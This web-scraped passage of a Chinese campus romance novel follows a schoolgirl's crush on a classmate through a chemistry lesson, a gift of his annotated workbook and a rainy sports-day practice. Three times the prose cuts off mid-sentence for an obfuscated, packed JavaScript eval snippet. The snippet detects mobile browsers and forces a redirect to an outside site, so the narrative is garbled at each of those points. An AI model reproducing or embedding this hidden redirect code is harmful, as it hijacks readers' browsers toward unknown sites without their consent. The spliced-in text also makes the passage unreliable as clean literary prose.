“这次月考,我们四班的成绩总体来说还算不错,部分同学有较大的提升,也有同学差强人意。”化学老师张丽捧着厚厚的备课本出现在讲台上,“这节课我们讲月考试卷,试卷已经提前发下去了,大家自己改错题了吗?” “改了——” “好,来看第一个大题。” 周铭扬一颗大头凑到陈枳南桌边,满是红墨的试卷格外晃眼:“嗬,你打劫卖红笔的了?” 陈枳南翻了个白眼,迅速把卷子揉皱在怀里。 “你化学不是挺好的吗?”她上下扫着周铭扬的试卷,发现零星几处小痕迹,“也不怎么样啊。” “我又不是梁筝,这已经算超常发挥了。”周铭扬立身,认真讲道,“你要知道,咱们化学考试分为五个等级,分别是极差、一般、良好、优秀,和梁筝。” 陈枳南诧异:“他已经进化成形容词了?” 周铭扬意味深长点头。 像她这种看见化学方程式就昏昏欲睡的炮灰,在老师和测验不断蹂躏下仍然扶不上墙,连及格边缘都难摸到。不过好在下学期就要分文理科,只要熬过期末考试,那可就是一片光明。 不知道对话有没有被注意到,她心虚悄悄向后瞟去,余光里意外地没有出现熟悉的轮廓。 “最后一道大题看着简单,但有很多同学都做错了。”张老师扫视全班,最终定格在窗边,“梁筝。” 陈枳南条件反射,“唰”一下抬头。 我这么大反应干嘛……又默默沉下去。 一阵无声。 穆岚见势不妙,用胳膊肘猛戳梁筝,才见他懒洋洋爬起,连着桌洞的耳机线趁其不备,被扯了出来。 “老师叫你。”他盯着穆岚的口型,立马会意,欠身去翻卷子。 也许是对他的散漫习以为常,张老师平静道:“看你没事做,上来给大家讲讲,正好我也能歇歇。” 桌沿前后晃动,轻轻摩擦陈枳南后背校服。 他怎么在后面?陈枳南吃惊。 “借我卷子用用。”满分的试卷早就不知道丢哪儿去了,梁筝索性一把抓过穆岚手里的卷子,“唰”一声起身,走到讲台上。 “喂!……” 少年昂扬挺拔的身形遮挡住黑板一侧所有板书,他自信提肘,粉笔跳跃在凹凸不平的黑板上,发出嘶哑声音。 “这道题其实不难,最关键同样也是最绕的难点在于配平。首先用待定系数法,设硝酸铁系数为1,则其余未知数分别为abcde……”梁筝挥舞着粉笔,神采飞扬,把一字一句都缩短得简洁易懂,“……所以答案是3比1,总物质的量为3.2mol。” 粉笔灰四处飞舞模糊了字痕,目光逐渐虚焦。 梁筝讲题的时候,嘴角总是挂着微笑。 声音清晰有力,捶打着所有昏昏欲睡的脑袋,仿佛能够掌控全局,让所有人的注意力都汇聚到那一处。这样众目睽睽的场合于他而言,就像是鱼回到了水里那样悠然自得。 陈枳南听得津津有味,频频点头。 “你听懂了?”周铭扬问。 “嘘,别打断我思路。” 如果梁筝是化学老师的话,或许……考个满分也是轻轻松松的吧。 陈枳南甜笑,没有什么比这更好的学习方法了。 “老师,我还有更简单的做法。”不知从哪儿传来的声音。 众人齐刷刷顺着那方向看去,见阮佳佳正举手蠢蠢欲动。 “很好,能有自己的思考非常值得表扬。”张老师满意点头,顺势敲打梁筝,“那你上来告诉梁筝,再给大家补充一下。” 阮佳佳抿唇藏笑,一步一步。 离着少年越来越近。 陈枳南慌张移开视线,心脏似乎被什么东西抓挠。 “这个题用零价法会省略更多步骤,也能更直观看出最后的比例。”阮佳佳从梁筝手里拿走粉笔,转身在黑板上写写画画。 梁筝站在她身后,盯着她一笔一划,待板书结束,才放声:“厉害啊,还真是省不少时间。” “两个方法都正确,大家可以自行选择更容易理解的方法记下来,下次再遇到类似题型的时候可以直接用。” 陈枳南拾起笔,没头没脑地往纸上抄着笔记,指甲早已嵌进掌心。 周铭扬空手向后仰倒,建议道:“还有几分钟下课了,只抄第二个就行。” “我就觉得第一个简单。”声音尖锐,连她自己都被吓到。 她在跟谁赌气?是不及格的化学试卷,还是做不出的最后一题,又或者是……陈枳南摩挲着卷子,莫名彷徨。 无能为力浪潮般席卷而来,冲刷着理智。 时间恰好,下课铃如约而至。 穆岚边接过卷子边冷笑道:“你刚才干嘛呢?被逮住了吧。” “本来想听听英语,谁知道一不小心睡过去了。”梁筝腼腆挠头,把MP4和耳机缠在一起收好。本想抬头看课表,却意外撞上了阮佳佳投来的炽热眼神。 “那个……梁筝,我可不可以问你道题?”阮佳佳拿着一本辅导书,乖巧站着。 梁筝嘴角噙笑:“行,哪道?” 穆岚起身让开位置:“坐这儿吧佳佳,我得去李宏伟办公室一趟。” 礼貌目送着穆岚出了教室,阮佳佳才将凳子拉近,把书本摊开放在二人中间。 周铭扬嗅觉十分敏锐,最热衷于观看这种美女送上门的戏码,忙回头叫着陈枳南一起来看热闹。 书都没见过,听什么听。陈枳南咬牙转过身,表面听讲,实则悄悄“审视”二人。 凑巧的是,梁筝竟拿出本一模一样的辅导书,里面密密麻麻都是彩色标注,简直叹为观止。“先看已知条件……”他迅速投入进题目。 全身的感觉细胞仿佛都集中至耳朵,却还是一窍不通。视线慢慢游离……余光里,两颗脑袋近得有些刺眼,想看,又不敢继续看。 陈枳南咬着嘴唇,努力不让情绪外泄。她忽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15765597|174570||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然觉得自己像个小偷,不怀好意闯入陌生领域,偷窥着别人的默契和幸福。 “下什么神呢?还没到饭点哎。”笔杆敲打额头,漆黑的瞳仁直勾勾盯了上来。梁筝挑眉,问道:“听懂了没?” “没听懂。”陈枳南回答干脆。 察觉她的气恼,阮佳佳忙打圆场:“我也是。”指了指倒数第二个步骤,“我这里也没听懂。” “那我仔细再讲一遍——” “不用了。”陈枳南拒绝后转身,软了脊背,“我笨,讲多少遍也不会懂,还是先补基础吧。” 难以控制的情绪在空气中发酵,迅速膨胀,将她笼进壳子里。 这是怎么了?陈枳南带着答案,问自己。 这些上不了台面的语气像极了酷爱争风吃醋的小女人。陈枳南有些懊恼,她明明不是这种小肚鸡肠、斤斤计较的性格。 一定是时运不济。 周铭扬也回身坐正,边摇头,边小声呢喃:“嗐,讲得乱七八糟,还不如我呢,半壶水叮当响。” 声音虽小,却小到足以让陈枳南听见。 她勉强笑笑,双眼却渐渐起了雾。 这是一种什么样的感觉?心酸,苦涩,难过。 是吃醋吗? 可她又有什么理由吃醋。 他就站在光下,是所有人都能接近,都可以触及的存在。 这种引力无法抗拒,尤其是飘荡了很久很久的孤星。 十五岁时的患得患失,占据了她所有心事,像雨后墙角疯长的苔藓,不断向那片禁地蔓延。潮湿,又隐蔽。 * 流云缓动,与赶路人同行。 “老板,你这里有没有化学辅导书?” 放学后,陈枳南没有急着去等公交,而是沿街找到一家离着学校最近的教材书店。书店外观很小,砖瓦看起来有些年头,只够容纳一个人的大门略显拥挤,她走进去,却瞬间被堆成小山似的书本淹没。 老板在角落应声:“第二栏书架最北边,高中部分都在那里了。” 陈枳南在书架旁站定,一眼望去,足足有半排标着“化学”两个字的辅导书,样式五花八门。 是哪本呢?应该是这本吧……她随机抽出一位幸运儿捧在掌心,试图用指尖感受与他同频的温度。 “这么巧啊。” 陈枳南抬头,修长的影子逐渐向她侵略。 心就像坐了过山车,一会儿升空,一会儿坠地。 “你也来买书?”梁筝眼底兴奋。 “我……我随便看看。”她支支吾吾,来不及藏在身后的书被梁筝顺手夺了过去。 梁筝疑惑:“这不是我白天讲的那本么。” “哦?是吗?”陈枳南缩回胳膊,“那真是巧,我觉得这本编的还不错,刚想买呢。” 脸颊微微升温,她挪开脚步,左瞧瞧,右看看。 “这学期快结束了,买新的多浪费时间。”梁筝从包里掏出那本辅导书,递给她,“答案都是用铅笔写的,还附带我标注的简便方法,够你期中期末复习了。” “你不用了?” “下学期的我都快学完了,留着也是吃灰。” “那,万一有人再来问你题,你怎么……”陈枳南声音越来越小,直到后半句话彻底哽住。 梁筝用手指指脑袋,脸上灿烂出光芒:“知识,都是记在脑子里的。” “……” 陈枳南无语。实则是不知道该答应还是该拒绝,她才不是喜欢占别人便宜的人。 她挣扎片刻:“还是算……” “行啦,别婆婆妈妈的,拿着。”梁筝打断她,不由分说把书塞进她怀里,“我买完东西还得回去看球赛呢。” “你买什么?”陈枳南看着梁筝晃晃悠悠在店里绕了一圈,最后在门口货架抓了两块橡皮。 他笑嘻嘻:“买完了。” 吃错药了吧,买块橡皮用得着来书店?陈枳南暗暗腹诽。 8. 酸橘(2) 连平日马马虎虎的王阿姨都觉得,陈枳南今天有些异常。 放学回来后见到她,打招呼的表情跟孩儿他爸中了十块钱彩票的时候不相上下。匆匆扒了几口菜和米饭,拿起了十二分气势说要赶快回家学习,争取期末考个好成绩。 灯光明亮,收拾整洁的书桌上只摆着一本书、两支笔、一块橡皮和一杯水,颇有仪式感。 一切就绪,陈枳南庄严入座,正式翻开了辅导书。 “有机物中的原子或原子团被其他原子或原子团替代的反应叫作取代反应。” “硫酸铜为白色粉末,结合水后变为蓝色晶体胆矾,化学方程式为……”笔尖滑动行间,轻轻地,不留任何痕迹。 印刷体端方优雅,其下是几行墨迹勾画出的秀逸小字。 与白天在黑板上描绘的字迹不同,小字排布相对紧凑却格外匀称,笔锋暗藏筋骨,工整又挺拔。 第一次这样近距离观察他的字,原来这么好看。 她翻到扉页。正中,“梁筝”两个大字洋洋洒洒,是牵着她的手向前奔跑,飘扬的衣角,乱舞的头发……洒脱、狂放。思绪开始游走,陈枳南翘起嘴角,小心翼翼在他的名字旁边涂鸦。 铅笔痕迹浅淡,龙飞凤舞的笔迹右下,一颗爱心紧密相随。 晚风轻轻摇晃窗边纱帘,月光挤进屋内,柔上了一层朦胧。 陈枳南抬头望着天穹。 如果梁筝是月亮,那她会不会是星星呢? 心里甜甜的。 幸福感蓬勃喷涌,在这一刻只属于她一个人。 * “叔,还要多久啊?” 校门口不远处的小摊旁,陈枳南急得正跺脚。 昨晚复习太过投入,等洗漱上床关灯时,已经凌晨了。早晨意料之中睡过了头,着急忙慌收拾一通后就匆匆去赶了公交。 来不及自己做早饭,只好出来买。 豆浆机发出“嗡嗡”的声音,摊贩叔叔边忙手里蒸笼边笑道:“马上马上,这就好。” 警示灯交闪,伸缩门开始向对侧缓缓移动。 “叔,快!”陈枳南焦头烂额,咬牙看了看还没打好的豆浆,又看了看即将关闭的校门,挣扎片刻撒腿就跑,“等等!等等——” 狂奔,追赶着伸缩门的速度,眼见着一辆背对着她悠悠驶去的自行车即将堵进门口,空隙越来越窄,她聚精会神,耳边呼哧呼哧的风声掩盖了周遭所有杂音。 “陈枳南?” 身影汹涌掠过,快要探进头的半个车轱辘躲闪不及,愣是生生折了回来,这才没压上横冲直撞的脚步。 自行车上的人慌忙撤腿撑在地下,立住了车身。 呼——还好,刚好……陈枳南卡着最后一秒一骨碌溜进校门,弯腰气喘吁吁,犹记得脚边有什么东西差点绊倒她,待喘息声渐渐平复,才扭过头。 伸缩门层层叠叠恰好挡住男孩身体,只露出一颗圆滚滚的脑袋,场面十分滑稽。 “梁筝?”陈枳南眸中射出疑惑,击中梁筝无辜又无奈的双眼。 门口几个佩戴臂章值班的学生会纪委抱着记录本围了上来,隔着伸缩门,审犯人一样问询:“记迟到,哪个班的?” 原来刚才是他啊。陈枳南憋得肩膀微颤,笑声低低地滚出,越滚越大,却丝毫没有让人不悦的感觉。 她歪头看天:“今天是怎么了,我以为只有我赖床了呢。” “小没良心的。”梁筝眯眼佯装嗔怒,睨着乐开了花的女孩,脸上却带笑。 “快点,马上上课了。”有人严肃提醒。 “快点,马上上课喽——”有人幸灾乐祸。 梁筝摇头,认栽道:“高一四班,梁筝。” 登记好了班级姓名,几人扬长而去,七嘴八舌议论着早晨唯一的业绩。 “哎呀,我说怎么看着眼熟,前几天回回卡点倒数第一个进,这下老实了吧?”一阵风凉话从窗户里飘出来,保安亭大爷边活动筋骨,边操控伸缩门又开了一条通道,“快进来吧。” “不好意思啊,抢了你的第一。” “嘁,迟到第一也是第一。” 抬头,阳光刺得眼睛直泛疼,转而看向梁筝,叶影被撕碎降落在白的发光的校服上,骄阳炽烈,一瞬间变得柔和,舒适。 连阳光都偏爱他。 陈枳南朝他吐吐舌。 倏然想起一件事,梁筝腆着脸把自行车倚在门口,从包里翻出早上刚买的淮海日报,熟稔地塞进窗户缝:“大爷,稍微等等,我去拿个东西马上就回。” “喂!你又干什么去?”陈枳南探头,见他往小摊方向跑,折身时,手里提着小摊旁没来得及拿走的早饭。额头升温,脸颊骤然绯红,“其实不吃也没事儿,等中午一起呗。” 这句话不假。她也不是第一次因为赶时间不吃早饭了,本想压哨买着进学校,谁成想…… 谁成想,天降的居然不是迟到,而是梁筝。 包子刚出锅,还在往外冒着腾腾热气,梁筝套了两个新塑料袋,扔进陈枳南怀里:“名字记都记了,不能白记。” 空气湿漉漉,随时都能捕捉到翻涌而上的羞怯。 陈枳南跟着梁筝去车棚放车,两人并肩往教学楼方向走着。 包子太热,捂得手心滚烫,只好先喝豆浆。豆香冲击味蕾,陈枳南咂嘴细细品味,可惜没放糖,不然她喝得更快。 “你爸妈早上没做饭吗,怎么还到校门口来买,这街边的小摊多多少少都不干净……” 心脏不自觉地一颤,呼吸也凝滞了,像不小心被荆棘丛扎到,下意识想要掩盖心底那处最不为人知的秘密。 “你吃饭了吗?”陈枳南高声打断滔滔不绝。 眼眸不经意透出少女娇俏。梁筝迟疑一瞬,挑眉道:“没。” 陈枳南立马把包子掰成两半,递到他面前是馅多的那半,妄图用包子堵住他嘴:“给。” 女孩乖巧柔软,像一只小猫。 思绪忽然滞空,梁筝没头没脑笑了一下:“算你有点良心。”他伸手佯装接过,实则对准陈枳南的嘴,力道刚好塞得严丝合缝,“就你这点儿食儿还不够喂鸟的,自己留着吃吧,我吃过了。” 你才是鸟!陈枳南咬牙切齿,腮部鼓起像只小松鼠,狠狠地嚼。 * 临近体测,整个年级都充斥着紧张焦灼和厌倦情绪。 不安的女生们和鸡飞狗跳的男生们形成鲜明对比。幸好一周只有两节体育课,不用每天都紧锣密鼓的准备。 体育课安排在了最后一节,测坐位体前屈和仰卧起坐,任务少,时间短,测完之后女生们大部分都回到教 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15765598|174570||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 室喝水休息,男生们则是留在操场上打滚。 陈枳南捧着两盒彩色粉笔,在教室后最方的黑板上行云流水,赶着班里五四青年节的板报。 “今天放学这么早。”穆岚用胳膊蹭了蹭阮佳佳,“你们都准备干嘛去啊?” 阮佳佳思考片刻,说:“嗯……我想回家练一练播音,毕竟这是第一次尝试,没什么经验。” 阮佳佳早在上周报名了运动会播音员。小时候她做喜欢做的事就是和爸爸妈妈一起在电视机前看新闻联播,模仿电视机里的播音腔,可越长大越害羞,从不敢表露,要不是在好朋友穆岚和陈枳南的鼓励下,她也不会想到要去报名。 黑板太高,陈枳南搬了个凳子站上去:“我打算把板报画完吧,省得拖到明天,又要挤课间时间。” “你们两个真无聊。”穆岚惆怅托腮,又转而亮起眼睛,“哎!放学后咱们学校的人都在操场训练准备运动会,咱班也在,还有隔壁班帅哥,要不要去看看?” “你要是想去的话,我就陪你。”阮佳佳回蹭穆岚肩膀,一脸宠溺。 穆岚咧嘴笑:“枳南,你去不去?” 陈枳南大脑处于放空状态,指尖的粉笔头被磨得越来越小,直到可以捏碎。 余光瞥了瞥那处最特别的座位,空空如也。 少年流星般划过,陈枳南想象得到。她极不擅长掩饰自己,所以,不想在众人面前扭捏作态,也不想在他面前没出息的脸红。 “我……” “哎呀走吧别画啦——”两人一个扶着凳子,一个捞起陈枳南的腰,合伙将她乱七八糟地拥出了门。 云层低沉,潮湿氤氲,天空蕴藏着灰蓝。 陈枳南有种不好的预感。 三人手挽手奔向操场,一进去,就看见卓越刚从跑道上下来,又马不停蹄地到沙坑旁练习跳远。 陈枳南由衷佩服道:“卓越,你一个人承包这么多项目啊。” 见三人缓步靠近,卓越停下动作,顺道去旁边喝水。他调侃:“谁让咱们班这么多娘子军,一个个只出牢骚不出力。” 穆岚不屑:“那没办法,还不是因为你这体委魅力不够大,或者福利不够多,所以才没人报嘛。” “你们仨一个也没报,还好意思说风凉话?我可打听过了,志愿者也能报项目。”卓越奸笑,笑得三人心里发毛。 “为班级争光的伟大使命当然要交给你这种有能力的人喽,我们可不想抢你风头。” 三人一拍即合,一致点头。 卓越拿她们没办法,无奈做了个抱拳的手势。 穆岚又道:“走走走,不跟他废话,咱们坐着去。” 主席台两侧分别是露天的阶梯式水泥观众席,足足包围了操场周周长的三分之一。观众席上不乏来看训练的女生们,左一团,右一堆,她们选了个绝佳位置,勉强可以纵观全局。 操场偌大,簇拥着人群一簇簇散于各地,口号声夹杂嬉闹声此起彼伏。 还是忍不住去关注。陈枳南左右眺望有人影出没的地方,偷偷寻找着一个人。 身边的姑娘也同样在寻找一个人。 视线穿梭在人海,心跳声逐渐加重。 越急切,越容易乱了方寸。 当目光落到那处时,心跳毫无意外的,几近停止。 9. 酸橘(3) 她的眼神微微凝滞。 助跑,身影撞风掀起衬衫衣袂,起跳,迅速腾空,利落干净,浑身肌肉没有丝毫颤抖。硬朗的线条迸发出前所未有的柔软,轻盈落地,画出一道完美弧线。 下巴得意扬上天空,这一刻的少年仿佛无冕之王,全世界都不可与之匹敌。 心跳吞没了掌声。 风呼啸过林梢,撩拨少女心弦。 读优选作文集选的时候,陈枳南时常想,什么是青春? 一段令人心驰神往又遗憾惋惜的时光。它的威力足够大,大到甚至可以见证一个人从稚嫩到成熟的华丽蜕变。 青春这样矛盾的存在,为什么总有人在怀念它?学生时代到底有什么好,写不完的作业,考不完的卷子,发不完的牢骚,还有对未来一切不确定的,无止尽的迷茫。 身处青春,无法预知青春的意义。 它到底值不值,又或者,需要做些什么,才能让它在有限的时间里变得更有价值。 能做些什么呢?大概是多做几份卷子,多进步几名吧?每每想到这里,陈枳南就无奈止住了思绪。 而现在,她似乎懂了一些。 比如,近在咫尺的热爱和期待。因热爱而奋不顾身,因期待成为想象中更好的那个人,才会有勇气去触碰一切未知领域,和那颗最遥不可及的星星。 此时此刻,她无比期冀未来,期冀成为她想成为的人。 “快看,那是梁筝!”阮佳佳兴奋指着目光所至之处。 又完成了一次完美的起跳落地。 穆岚盯着越抬越高的横杆,咂嘴看向陈枳南:“想不到他跳高还真有一手,这得迷倒多少小姑娘啊?” “他真厉害,不管做什么都能出类拔萃。”阮佳佳双手托腮,歪着脑袋出神。 陈枳南心虚收回眼波,四处眺望。 “你眼巴巴儿的找谁呢?”穆岚伸手在陈枳南面前比划。 陈枳南紧张到喉咙发涩:“当、当然是我的好同桌啊。” “不是吧,你这么快就被周铭扬的黑恶势力收买了?” “什么呀。”陈枳南眯起一只眼,做思考状,“他之前说,如果我有机会看见他训练的话,就帮他画一张定制画像。” “嗬,他想得真美。”穆岚发现眉目,撞了下陈枳南肩膀,嘁声道:“别找了,周铭扬不是在那儿呢么。” 远处墨绿色草坪角落,徘徊着指甲盖大小的身影。周铭扬站在铅球场边,双手摇晃举过头顶,大喊:“陈枳南!帮我拿瓶水,谢了!——” 闻声扫视四周,观众席最前面那排摞放着几箱矿泉水,陈枳南用手指比了“OK”的手势,便起身去拿水。 “枳南等等,我陪你去!”阮佳佳跟在陈枳南身后。 一人拿了两瓶水,往场地中间走去。 周铭扬小跑过来迎接:“哎呀,辛苦了好同桌!怎么样,看见哥刚才潇洒的英姿了没?” “看见啦,回去就给你画下来。”陈枳南拖着腔调,眼神有意无意游荡在他身后。 “正好。”周铭扬低头看着她们手里的水,忙招手,“老熊!筝哥——” 梁筝装了GPS一样早早就找了过来,搭着熊志远肩膀闪现众人面前。 “这送水员们有点眼熟啊。”梁筝笑。 离陈枳南最近的熊志远自然而然拿走她手里的水,而阮佳佳则是挪步到梁筝身边,把水递上去。 “喏,训练这么久挺累的,喝口水歇会儿吧。”阮佳佳鼓起勇气,望着他的眼睛眼睛快要掐出水。 “谢谢。”梁筝顿了一瞬,礼貌接过。 潮湿的空气有心火在燃烧。 三人面对面站着,像一个尴尬的形状,陈枳南有些恍惚。 她顺势拿过阮佳佳手里最后一瓶水,道:“你们聊着,卓越那边还没送呢,我先过去。”说罢朝着沙坑方向走,步子缓慢稳重,镇着鸡飞狗跳的思绪。 转身即后悔,不就一瓶水,这也太不大方,太不潇洒了。陈枳南哀叹,恨不得敲打自己的脑袋。 阮佳佳莞尔一笑:“那你们先忙,我去找枳南啦。” 女孩们又挽在一起,跑着跳着越走越远。 熊志远搭上梁筝肩膀,侃道:“连阮妹子都拜倒了,筝哥魅力确实大啊。” “你不累是吧?”梁筝啐他。 “你才知道啊。”周铭扬笑得比熊志远还狡诈,“筝哥艳福一直不浅,想拿捏小迷妹,一根头发丝就够了。” 几人咯咯笑作一团。 梁筝拿他们没办法,冷哼一声:“我把这艳福都给你,你也拿不下穆班长。” 周铭扬瞬间收起了快要笑掉出来的牙齿,恶狠狠追着梁筝踹了一脚。 “你懂什么,好事多磨。” 熊志远刚把水拧开,便被梁筝瞅准机会,一把抢过去喝下半瓶。“嗯!爽。” “你喝我水干嘛??”熊志远被吓一跳,吐槽道。 梁筝傻笑,把自己手里没开封的水给他:“我手太滑了拧不开。” 巨大的身影忽然挡在眼前。 “哟,这不是四班的穆大班长吗。”冯飞语气戏谑,“大驾光临来视察工作?” “怎么哪儿都有你……”穆岚白了他一眼,挪了挪屁股躲开他。 冯飞不依不饶坐在她旁边:“你们班这几个歪瓜裂枣不太行啊,一个个练得这么差,有什么好看的。” “不看他们看你啊,你哪位?”穆岚憋着怒火怼道,“跑个一千五而已,看把你能的,绕着操场一圈又一圈,挨个场地瞎转悠,世界冠军都没你这么张扬。” “呵。”冯飞奸笑,“想不到,你还挺关注我?” “别恶心了我鸡皮疙瘩都起来了。”穆岚白眼朝天。 冯飞昂头长叹一声,手指兴奋比划着远处,道:“折腾这么费劲干嘛,看把你班男生给累的。一项一千五只要跑下来就加十分,抵你们好几项,到时候我们班上去领奖,你只有流口水的份儿。” “那可不一定。”穆岚挺直身板,朝着四班聚集最多的地方做了个加油手势。 冯飞饶有兴致:“要不要比一比?” “我们班的人可不像某人,头脑简单四肢发达,有本事期末考试拿总成绩来比。” “四班的人就是会说大话,跟去年一样。”一道不和谐的声音不知从哪儿传来。 “谁插嘴呢?跟你说话了吗?”穆岚扭头怒道。用不着找人,听响就猜得出,又是冯飞他们班女生。 “可不就是吗?去年运动会就你……你班女生叫得猖狂,最后不还是落了个老二。”有另一个声音继续挑衅。 “哎哎——”冯飞伸手,佯作制止,“算了算了,不拿他们班开涮了,反正他们也不敢。” “比就比!”穆岚跳起来,站高一级台阶,“我跟你比,比什么?” 冯飞扯开嘴角:“我这……胜之不武啊。” 穆岚瞪着他不说话,下一秒就要将他活剐了似的。 冯飞咂嘴,思索片刻:“比一千五,你要是能跑进前三,算你厉害。” “没赌注?” “你想要什么赌注?” 穆岚张牙舞爪、咬牙切齿:“赌老娘要是跑进前三,你从今以后给我夹着尾巴做人,见了老娘要喊大哥!” 冯飞捧着肚子哈哈大笑:“行!那你要是输了呢?” “输?”穆岚冷哼一声,昂起头,对准冯飞,“老娘的人生词典里就没有输字!” 说罢,一骨碌跑下观众席,站在跑道边大喊,回音响彻整片操场。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15765599|174570||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “卓越!老娘要报一千五!!!” * 起风了。 墨色覆空,风势骤增,旋着灰沙细石乱舞,迷得眼睛无法睁开。 观众席慌乱中一哄而散,眼见就要下雨,这时候走在外面毫无意外会被淋成落汤鸡。 陈枳南是三个人里唯一穿了校服外套的人。 趁着雨还未彻底倾泻而下,陈枳南脱了外套裹在头上,道:“穆岚、佳佳,主席台那边有躲雨的地方,我回去拿伞,很快就过来,等我啊!” “哎枳南!……”穆岚阮佳佳大叫。 “要下雨了!”梁筝和周铭扬在灰黄色的风里狂奔,声音破空而出,“你往哪儿跑?” 他风尘仆仆,脸上沾了许多灰。 凛冽的面容前,陈枳南莫名有些紧张。她松松外套,箍在脖子上,答:“我,去教室拿伞啊。” 梁筝看了看三个女生:“别回教室了,这雨如果下起来,一时半会儿停不了,你们先去主席台下面躲躲,我和老周去拿你们的伞和书包,直接回家吧。”说着把外套脱下,扔给陈枳南,话里针对性极强:“别乱跑啊。” “你不穿外套啊?——”声音淹没在水雾中。 衣服柔软,捧在手心里。 抬落之间,鼻尖嗅到纯白清新的皂香,与他独有的气息紧密相融,久久萦绕。那是一种淡淡的,让人心情宁静的味道。 陈枳南讷讷转身,跟随她俩一起往主席台下跑。 雨幕落下,水滴重重砸在地上,溅起泥点。被打湿的跑道和脚下地面划出一道无法相互触及的线,彻底隔绝了里面与外面的世界,耳边除了哗啦啦的雨声,什么也听不见。 男孩们顶着风卷入的雨水冲锋陷阵,一路波折来到她们面前。身上几乎被雨水打湿成透明,而怀里藏着的书包却依旧干爽。 脸上水珠满布,额前的碎发还在不停往下滴水,滑落到鼻尖,融进嘴唇,很难不惹人爱怜。 对视的瞬间,陈枳南心颤了一下。 梁筝把书包递给陈枳南和阮佳佳,二人一起向他道谢。 直到梁筝伸出手,陈枳南才反应过来手里还抱着他的校服外套。 周铭扬提早为穆岚备好了伞,把所有东西给她后,十分忧心叮嘱:“路上注意安全啊。” “行了,快回家吧。”梁筝穿上衣服,挎起背包。 女生在前,男生在后,几人一同朝校门口走着。 周铭扬看着这阴沉沉的天莫名来气:“这雨从早上就预报要下,结果过白天不下晚上下,真不是时候。” “只能走着回家了。”梁筝遥望车棚,苦恼道,“明天又要早起……” 视线收回前方时,他恍然注意到有一抹不合时宜的殷红正透过单薄的衣料向外渗出。微微一愣,旋即反应过来,眼神霎时清明。 “等等!”他脱口而出,把伞扔给周铭扬。 女生们驻足回头,看着梁筝边快步走上前,边脱下外套,自然而然躲到阮佳佳的伞下。 紧紧地,披在她身上。 同一把伞下,是最暧昧的距离。 适宜的身高差,动作像极了临别前不舍地把女孩拥在怀里。 “我去……”周铭扬张大嘴巴。 穆岚和陈枳南痴痴地僵在原地。 “额……”四双眼睛同时投来尖锐的目光,梁筝一时语塞,挣扎着道,“那个,你早点回家,别着凉。” 温热的手掌抚上肩膀,气息在耳边喷薄,阮佳佳脸涨得通红,一下子红到耳根。 梁筝不知在对谁说话:“我先走了。”身影迅速消失在白茫茫一片。 雨越下越大。 似乎飘进了她的世界。 好冷。 冷得像是冰窖。 10. 酸橘(4) 街道两侧的法桐叶子被簌簌吹落,掩盖了风声。也许是因为天气恶劣,公交车迟迟没有来,陈枳南索性走路回家。 湿哒哒的乌云浸泡着黄昏,雷声呜咽,黄色小伞被卷进漩涡中摇曳,宛若一座孤岛。 握着伞柄的手稍有不慎松动,便会被毫无章法的雨水劈头盖脸浇在身上。 画面如电影般一帧帧闪过,循环往复,思虑久久不散。 不知不觉已湿了大半。 路边准时亮灯,街道空荡衬得她更加伶仃。 手机忽然震动。 “喂,王阿姨。” 声音十分焦急:“丫头啊,下这么大雨,怎么还没回家?是不是没带伞淋在路上了?现在在哪儿里阿姨去接你……” “王阿姨。”陈枳南喉头滚过艰涩,微微颤抖,“我……我带伞了,在路上呢,马上就到家了。” “好好,慢慢走不着急,安全最重要啊。”电话那头隐隐传来热闹嘈杂的人声。 陈枳南咬着嘴唇:“王阿姨,你先忙吧,不用等我。” “没事儿,家里来了客人吃饭,不要紧的,阿姨看着你回家才放心。” 雨声敲打伞身丝丝滚落在脚边,有种缠绵的悲凉。 不知怎的,竟然有些想哭。视线逐渐模糊,她嗓音喑哑:“好。” 楼梯口灯光很亮,王阿姨撑着伞,半边在檐下,身形是那样瘦削。 见陈枳南平安出现,眼睛亮了亮:“丫头,快进来!” “王阿姨!”陈枳南边喊边跑。 王阿姨接过盛满雨水的伞,拍拍陈枳南身上水珠,疼道:“这鬼天气,怎么打伞还搞这么湿。” “没事王阿姨,您快去吃饭吧。”一瞬间,她忽然害怕王阿姨叫自己去她家吃饭,于是脱口而出,“我在外面吃过了,先回家洗个澡。” 说罢,陈枳南藏起慌张,转身掏钥匙。 “回家先把窗户关上,洗澡出来一定要穿个外套记住了吗——” “记住了阿姨——”话音未落,门便已关上。 屋内漆黑一片,唯有窗边透进一丝微弱的光亮。除了雨滴砸在窗沿的声音,其余什么也没有,整个屋子静得似乎在放映默片。 客厅亮起了灯,陈枳南脱下潮乎乎的外套,放下书包,把书都拿出来铺开在床上晾干。 